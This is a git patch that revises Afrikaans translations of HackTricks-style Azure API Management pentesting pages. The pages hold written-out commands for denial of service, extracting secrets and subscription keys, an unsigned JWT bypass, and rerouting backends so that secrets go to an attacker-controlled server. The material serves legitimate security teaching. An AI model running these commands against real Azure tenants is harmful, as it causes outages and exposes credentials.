From 7a4e39b37642273b8949e2f904b2c0e83074efc7 Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 26 Dec 2025 18:53:16 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/azure-security/az-post-exploitatio --- .../az-api-management-post-exploitation.md | 12 ++--- .../az-api-management-privesc.md | 44 +++++++++---------- .../az-services/az-api-management.md | 28 ++++++------ 3 files changed, 42 insertions(+), 42 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md index 95cef7cf9..7283b213f 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md @@ -3,7 +3,7 @@ {{#include ../../../banners/hacktricks-training.md}} ## `Microsoft.ApiManagement/service/apis/policies/write` or `Microsoft.ApiManagement/service/policies/write` -Die aanvaller kan verskeie vektore gebruik om 'n denial of service te veroorsaak. Om wettige verkeer te blokkeer, voeg die aanvaller rate-limiting en quota policies met uiters lae waardes by, wat effektief normale toegang voorkom: +Die aanvaller kan verskeie vektore gebruik om 'n denial of service te veroorsaak. Om legitieme verkeer te blokkeer, voeg die aanvaller rate-limiting en quota policies by met uiters lae waardes, wat effektief normale toegang voorkom: ```bash az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/policy?api-version=2024-05-01" \ @@ -15,7 +15,7 @@ az rest --method PUT \ } }' ``` -Om spesifieke regmatige kliënt-IP-adresse te blokkeer, kan die aanvaller IP-filtreringsbeleide byvoeg wat versoeke vanaf geselekteerde adresse verwerp: +Om spesifieke legitieme kliënt-IP-adresse te blokkeer, kan die aanvaller IP-filtreringbeleide byvoeg wat versoeke van geselekteerde IP-adresse verwerp: ```bash az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/policy?api-version=2024-05-01" \ @@ -28,7 +28,7 @@ az rest --method PUT \ }' ``` ## `Microsoft.ApiManagement/service/backends/write` or `Microsoft.ApiManagement/service/backends/delete` -Om versoeke te laat misluk, kan die aanvaller 'n backend-konfigurasie wysig en die URL daarvan na 'n ongeldig of ontoeganklike adres verander: +Om versoeke te laat misluk, kan die aanvaller die backend-konfigurasie wysig en die URL daarvan na 'n ongeldig of onbereikbare adres verander: ```bash az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ @@ -47,14 +47,14 @@ az rest --method DELETE \ --headers "If-Match=*" ``` ## `Microsoft.ApiManagement/service/apis/delete` -Om kritieke APIs onbeskikbaar te maak, kan die aanvaller dit direk vanaf die API Management service verwyder: +Om kritieke APIs onbeskikbaar te maak, kan die aanvaller dit direk uit die API Management service verwyder: ```bash az rest --method DELETE \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis/?api-version=2024-05-01" \ --headers "If-Match=*" ``` ## `Microsoft.ApiManagement/service/write` or `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action` -Om toegang vanaf die Internet te blokkeer, kan die aanvaller openbare netwerktoegang op die API Management service afskakel: +Om toegang vanaf die Internet te blokkeer, kan die aanvaller openbare netwerktoegang op die API Management service deaktiveer: ```bash az rest --method PATCH \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" \ @@ -66,7 +66,7 @@ az rest --method PATCH \ }' ``` ## `Microsoft.ApiManagement/service/subscriptions/delete` -Om toegang vir wettige gebruikers te blokkeer, kan die aanvaller API Management-subskripsies verwyder: +Om toegang vir legitieme gebruikers te blokkeer, kan die attacker API Management-intekeninge verwyder: ```bash az rest --method DELETE \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//subscriptions/?api-version=2024-05-01" \ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md index a5892c9d3..d32d96675 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md @@ -4,31 +4,31 @@ ## `Microsoft.ApiManagement/service/namedValues/read` & `Microsoft.ApiManagement/service/namedValues/listValue/action` -Die aanval behels toegang tot sensitiewe geheime wat in Azure API Management Named Values gestoor is, hetsy deur direk geheime waardes te kry of deur permissies te misbruik om Key Vault–ondersteunde geheime via managed identities te bekom. +Die aanval bestaan uit die verkryging van sensitiewe secrets wat in Azure API Management Named Values gestoor is, hetsy deur die direkte herwinning van secret values of deur toestemmings te misbruik om Key Vault–backed secrets via managed identities te bekom. ```bash az apim nv show-secret --resource-group --service-name --named-value-id ``` ## `Microsoft.ApiManagement/service/subscriptions/read` & `Microsoft.ApiManagement/service/subscriptions/listSecrets/action` -Vir elke subscription kan die aanvaller die subscription keys bekom deur die listSecrets endpoint met die POST-metode te gebruik: +Vir elke subscription kan die aanvaller die subscription-sleutels verkry deur die listSecrets-eindpunt met die POST-metode te gebruik: ```bash az rest --method POST \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//subscriptions//listSecrets?api-version=2024-05-01" ``` -Die response bevat die subscription primary key (primaryKey) en secondary key (secondaryKey). Met hierdie sleutels kan die attacker autentiseer en toegang kry tot die APIs wat deur die API Management Gateway gepubliseer is: +Die antwoord sluit die subskripsie primary key (primaryKey) en secondary key (secondaryKey) in. Met hierdie sleutels kan die aanvaller verifieer en toegang kry tot die APIs wat deur die API Management Gateway gepubliseer is: ```bash curl -H "Ocp-Apim-Subscription-Key: " \ https://.azure-api.net/ ``` -Die aanvaller kan toegang kry tot alle APIs en produkte wat met die subskripsie geassosieer is. As die subskripsie toegang het tot sensitiewe produkte of APIs, kan die aanvaller vertroulike inligting bekom of ongemagtigde operasies uitvoer. +Die aanvaller kan toegang hê tot alle APIs en produkte wat met die subskripsie geassosieer is. As die subskripsie toegang het tot sensitiewe produkte of APIs, kan die aanvaller vertroulike inligting bekom of ongeoorloofde bedrywighede uitvoer. ## `Microsoft.ApiManagement/service/policies/write` or `Microsoft.ApiManagement/service/apis/policies/write` -Die aanvaller haal eers die huidige API-beleid op: +Die aanvaller haal eers die huidige API-beleid af: ```bash az rest --method GET \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/?api-version=2024-05-01&format=rawxml" ``` -Die attacker kan die policy op verskeie maniere wysig, afhangend van hul doelwitte. Byvoorbeeld, om authentication uit te skakel, as die policy JWT token validation insluit, kan die attacker daardie gedeelte verwyder of uitkommenteer: +Die attacker kan die beleid op verskeie maniere wysig, afhangend van hul doelwitte. Byvoorbeeld, om authentication uit te skakel, as die beleid JWT token validation insluit, kan die attacker daardie afdeling verwyder of uitkommentarieer: ```xml @@ -49,7 +49,7 @@ Die attacker kan die policy op verskeie maniere wysig, afhangend van hul doelwit ``` -Om rate limiting controls te verwyder en denial-of-service attacks toe te laat, kan die attacker die quota en rate-limit policies verwyder of uitkommenteer: +Om rate limiting controls te verwyder en denial-of-service attacks toe te laat, kan die aanvaller quota en rate-limit policies verwyder of uitkommenteer: ```xml @@ -61,7 +61,7 @@ Om rate limiting controls te verwyder en denial-of-service attacks toe te laat, ... ``` -Om die backend-roete te wysig en verkeer na 'n deur die aanvaller beheerde bediener om te herlei: +Om die backend-roete te wysig en verkeer na 'n deur die aanvaller beheerde bediener te herlei: ```xml ... @@ -72,7 +72,7 @@ Om die backend-roete te wysig en verkeer na 'n deur die aanvaller beheerde bedie ... ``` -Die aanvaller pas dan die gewysigde beleid toe. The request body must be a JSON object containing the policy in XML format: +Die aanvaller pas dan die gewysigde beleid toe. Die versoekliggaam moet 'n JSON-objek wees wat die beleid in XML-formaat bevat: ```bash az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/policy?api-version=2024-05-01" \ @@ -84,11 +84,11 @@ az rest --method PUT \ } }' ``` -## JWT Validation Misconfiguration +## Miskonfigurasie van JWT-validering -Die attacker moet weet dat 'n API JWT token validation gebruik en dat die policy misgekonfigureer is. Swak gekonfigureerde JWT validation policies kan `require-signed-tokens="false"` of `require-expiration-time="false"` hê, wat die service toelaat om unsigned tokens of tokens wat nooit verval nie te aanvaar. +Die aanvaller moet weet dat 'n API JWT token-validasie gebruik en dat die beleid verkeerd gekonfigureer is. Sleg gekonfigureerde JWT-validasie-beleide kan `require-signed-tokens="false"` of `require-expiration-time="false"` hê, wat die diens toelaat om unsigned tokens of tokens wat nooit verval te aanvaar. -Die attacker skep 'n malicious JWT token met die none algorithm (unsigned): +Die aanvaller skep 'n kwaadwillige JWT-token wat die none algoritme gebruik (unsigned): ``` # Header: {"alg":"none"} # Payload: {"sub":"user"} @@ -100,17 +100,17 @@ curl -X GET \ -H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0." \ https://.azure-api.net/path ``` -As die beleid verkeerd gekonfigureer is met `require-signed-tokens="false"`, sal die diens die ongetekende token aanvaar. Die attacker kan ook 'n token skep sonder 'n expiration claim as `require-expiration-time="false"`. +As die beleid verkeerd opgestel is met `require-signed-tokens="false"`, sal die diens die ongetekende token aanvaar. Die aanvaller kan ook 'n token skep sonder 'n vervaldatum-claim as `require-expiration-time="false"`. ## `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action` -Die attacker kontroleer eers die huidige netwerkkonfigurasie van die diens: +Die aanvaller kyk eers na die huidige netwerkconfigurasie van die diens: ```bash az rest --method GET \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" ``` -Die aanvaller ondersoek die JSON-antwoord om die waardes van `publicNetworkAccess` en `virtualNetworkType` te verifieer. As `publicNetworkAccess` op false gestel is of `virtualNetworkType` op Internal gestel is, is die diens gekonfigureer vir privaat toegang. +Die aanvaller keur die JSON-antwoord na om die waardes van `publicNetworkAccess` en `virtualNetworkType` te verifieer. As `publicNetworkAccess` op false gestel is of `virtualNetworkType` op Internal gestel is, is die diens gekonfigureer vir private toegang. -Om die diens na die Internet bloot te stel, moet die aanvaller albei instellings verander. As die diens in internal-modus loop (`virtualNetworkType: "Internal"`), verander die aanvaller dit na None of External en skakel publieke netwerktoegang aan. Dit kan gedoen word met die Azure Management API: +Om die diens aan die Internet bloot te stel, moet die aanvaller albei instellings verander. As die diens in interne-modus loop (`virtualNetworkType: "Internal"`), verander die aanvaller dit na None of External en skakel openbare netwerktoegang aan. Dit kan gedoen word met die Azure Management API: ```bash az rest --method PATCH \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" \ @@ -122,20 +122,20 @@ az rest --method PATCH \ } }' ``` -Sodra `virtualNetworkType` op `None` of `External` gestel is en `publicNetworkAccess` geaktiveer is, raak die diens en al sy APIs vanaf die Internet toeganklik, selfs al was hulle voorheen beskerm agter 'n privaat netwerk of private eindpunte. +Sodra `virtualNetworkType` op `None` of `External` gestel is en `publicNetworkAccess` geaktiveer is, word die diens en al sy APIs vanaf die Internet toeganklik, selfs al was hulle voorheen beskerm agter 'n privaat netwerk of privaat endpunte. ## `Microsoft.ApiManagement/service/backends/write` -Die aanvaller tel eers die bestaande backends op om te bepaal watter een om te wysig: +Die aanvaller enumereer eers die bestaande backends om te bepaal watter een gewysig moet word: ```bash az rest --method GET \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends?api-version=2024-05-01" ``` -Die aanvaller haal die huidige konfigurasie van die backend wat hulle wil wysig op: +Die aanvaller haal die huidige konfigurasie van die backend wat hulle wil wysig: ```bash az rest --method GET \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" ``` -Die aanvaller verander die backend URL sodat dit na 'n bediener onder hul beheer wys. Eerstens verkry hulle die ETag uit die vorige antwoord en werk dan die backend by: +Die aanvaller wysig die backend URL om na 'n bediener onder hul beheer te wys. Eerstens haal hulle die ETag uit die vorige antwoord en werk dan die backend by: ```bash az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ @@ -148,7 +148,7 @@ az rest --method PUT \ } }' ``` -Alternatiewelik kan die aanvaller backend headers konfigureer om Named Values wat geheime bevat uit te eksfiltreer. Dit word gedoen deur die backend credentials configuration: +Alternatiewelik kan die attacker backend headers konfigureer om Named Values containing secrets te exfiltrate. Dit word gedoen deur die backend credentials configuration: ```bash az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ @@ -165,6 +165,6 @@ az rest --method PUT \ } }' ``` -Met hierdie konfigurasie word Named Values as headers in alle requests na die attacker-controlled backend gestuur, wat die exfiltration van sensitiewe secrets moontlik maak. +Met hierdie konfigurasie word Named Values as headers in alle requests na die attacker-controlled backend gestuur, wat die exfiltration van sensitiewe geheime moontlik maak. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-api-management.md b/src/pentesting-cloud/azure-security/az-services/az-api-management.md index abadaa055..44b510dae 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-api-management.md +++ b/src/pentesting-cloud/azure-security/az-services/az-api-management.md @@ -4,41 +4,41 @@ ## Basiese Inligting -Azure API Management (APIM) is 'n volledig bestuurde diens wat 'n **geïntegreerde platform vir publisering, beveiliging, transformasie, bestuur en monitering van APIs** bied. Dit stel organisasies in staat om hul **API-strategie te sentraliseer** en konsekwente governance, prestasie en sekuriteit oor al hul dienste te verseker. Deur as 'n abstraksielaag tussen backend services en API-konsumante te funksioneer, vereenvoudig APIM integrasie en verbeter dit instandhouding, terwyl dit noodsaaklike operasionele en sekuriteitsvermoëns verskaf. +Azure API Management (APIM) is 'n volledig bestuurde diens wat 'n **eenheidlike platform bied vir die publisering, beveiliging, transformasie, bestuur en monitering van APIs**. Dit stel organisasies in staat om hul **API-strategie te sentraliseer** en te verseker dat bestuur, prestasie en sekuriteit konsekwent oor al hul dienste toegepas word. Deur as 'n abstraksielaag tussen backend-dienste en API-konsumente te dien, vereenvoudig APIM integrasie en verbeter dit instandhouding, terwyl dit noodsaaklike operasionele en sekuriteitsfunksies verskaf. ## Kernkonsepte -**The API Gateway** dien as die enkele toegangspunt vir alle API-verkeer en hanteer funksies soos die routering van versoeke na backend services, die afdwinging van rate-limiete, die kasbewaring van antwoorde, en die bestuur van verifikasie en magtiging. Hierdie gateway word volledig deur Azure aangebied en bestuur, wat hoë beskikbaarheid en skaalbaarheid verseker. +**The API Gateway** dien as die enkele toegangspunt vir alle API-verkeer en hanteer take soos die routering van versoeke na backend-dienste, afdwing van rate limits, kaslegging van antwoorde, en bestuur van verifikasie en magtiging. Hierdie gateway word volledig deur Azure aangebied en bestuur, wat hoë beskikbaarheid en skaalbaarheid verseker. -**The Developer Portal** bied 'n selfdiensomgewing waar API-konsumante beskikbare APIs kan ontdek, dokumentasie kan lees en eindpunte kan toets. Dit help om onboarding te stroomlyn deur interaktiewe gereedskap en toegang tot subscription information te bied. +**The Developer Portal** bied 'n selfdiens-omgewing waar API-konsumente beskikbare APIs kan ontdek, dokumentasie kan lees en eindpunte kan toets. Dit help om aan boord koms te stroomlyn deur interaktiewe gereedskap en toegang tot intekeninginligting te bied. -**The Management Portal (Management Plane)** word deur administrators gebruik om die APIM-diens te konfigureer en te onderhou. Van hier af kan gebruikers APIs en operasies definieer, toegangbeheer konfigureer, policies toepas, gebruikers bestuur en APIs in products organiseer. Hierdie portaal sentraliseer administrasie en verseker konsekwente API-governance. +**The Management Portal (Management Plane)** word deur administrateurs gebruik om die APIM-diens te konfigureer en in stand te hou. Van hier af kan gebruikers APIs en operasies definieer, toegangskontrole konfigureer, beleide toepas, gebruikers bestuur en APIs in produkte organiseer. Hierdie portaal sentrumiseer administrasie en verseker konsekwente API-governance. ## Verifikasie en Magtiging -Azure API Management ondersteun verskeie **verifikasie-meganismes** om API-toegang te beveilig. Hierdie sluit in **subscription keys**, **OAuth 2.0 tokens**, en **client certificates**. APIM integreer ook native met **Microsoft Entra ID**, wat ondernemingsvlak identiteitbestuur en veilige toegang tot beide APIs en backend services moontlik maak. +Azure API Management ondersteun verskeie **authenticatie-meganismes** om API-toegang te beveilig. Dit sluit in **subscription keys**, **OAuth 2.0 tokens**, en **client certificates**. APIM integreer ook inheemse met **Microsoft Entra ID**, wat **enterprise-level identity management** en **secure access** tot beide APIs en backend-dienste moontlik maak. -## Policies +## Beleide -Policies in APIM laat administrators toe om die verwerking van versoeke en antwoorde op verskeie granulariteite aan te pas, insluitend die vlak van die **service**, **API**, **operation**, of **product**. Deur policies kan mens **JWT token validation** afdwing, XML- of JSON-payloads transformeer, rate limiting toepas, oproepe per IP-adres beperk, of verifieer teen backend services met behulp van **managed identities**. Policies is uiters buigbaar en vorm een van die kernsterktes van die API Management-platform, wat fynkorrelige beheer oor runtime-gedrag moontlik maak sonder om backend-kode te wysig. +Beleide in APIM laat administrateurs toe om **versoek- en antwoordverwerking** op verskeie granulariteite aan te pas, insluitend vlakke soos die **service**, **API**, **operation**, of **product**. Deur beleide is dit moontlik om **JWT token validation** af te dwing, **XML of JSON payloads te transformeer**, **rate limiting toe te pas**, **oproepe te beperk volgens IP-adres**, of **teen backend-dienste te verifieer met behulp van managed identities**. Beleide is **uiters buigsaam** en vorm een van die **kernsterktes** van die API Management-platform, wat **fynkorrelbeheer oor runtime-gedrag** moontlik maak sonder om backend-kode te verander. ## Named Values -Die diens bied 'n meganisme genaamd **Named Values**, wat toelaat om **konfigurasie-inligting** soos **secrets**, **API keys**, of ander waardes wat deur policies benodig word, te stoor. +Die diens bied 'n meganisme genaamd **Named Values**, wat toelaat om **konfigurasie-inligting** soos **geheime**, **API keys**, of ander waardes wat deur beleide benodig word, te stoor. -Hierdie waardes kan direk binne APIM gestoor word of veilig vanaf **Azure Key Vault** verwys word. Named Values bevorder die **veilige en gesentraliseerde bestuur** van konfigurasiedata en vereenvoudig die skryf van policies deur **herbruikbare verwysings** toe te laat in plaas van hardgekodeerde waardes. +Hierdie waardes kan direk binne APIM gestoor word of veilig vanaf **Azure Key Vault** verwys word. Named Values bevorder **veilige en gesentraliseerde bestuur** van konfigurasiedata en vereenvoudig beleidsskryf deur **herbruikbare verwysings** in plaas van hardgekodeerde waardes toe te laat. ## Netwerk- en Sekuriteitsintegrasie -Azure API Management integreer naatloos met **virtual network environments**, wat private en veilige konnektiwiteit na backend-stelsels moontlik maak. +Azure API Management integreer naatloos met **virtual network environments**, wat **privaat en veilige konnektiwiteit** na backend-stelsels moontlik maak. -Wanneer dit binne 'n **Virtual Network (VNet)** ontplooi word, kan APIM toegang kry tot **internal services** sonder om hulle publiek bloot te stel. Die diens laat ook die konfigurasie van **custom certificates** toe om **mutual TLS authentication** met backend services te ondersteun, wat sekuriteit verbeter in scenario's waar **sterk identiteitsverifikasie** vereis word. +Wanneer dit binne 'n **Virtual Network (VNet)** ontplooi is, kan APIM **interne dienste** bereik sonder om dit publiek bloot te stel. Die diens maak dit ook moontlik om **custom certificates** te konfigureer om **mutual TLS authentication** met backend-dienste te ondersteun, wat sekuriteit verbeter in scenario's waar **sterke identity validation** vereis word. -Hierdie **networking features** maak APIM geskik vir beide **cloud-native** en **hybrid architectures**. +Hierdie **netwerkfunksies** maak APIM geskik vir beide **cloud-native** en **hybrid architectures**. -### Enumereer +### Opnoem -Om die API Management-diens te enumereer: +Om die API Management-diens op te noem: ```bash # Lists all Named Values configured in the Azure API Management instance az apim nv list --resource-group --service-name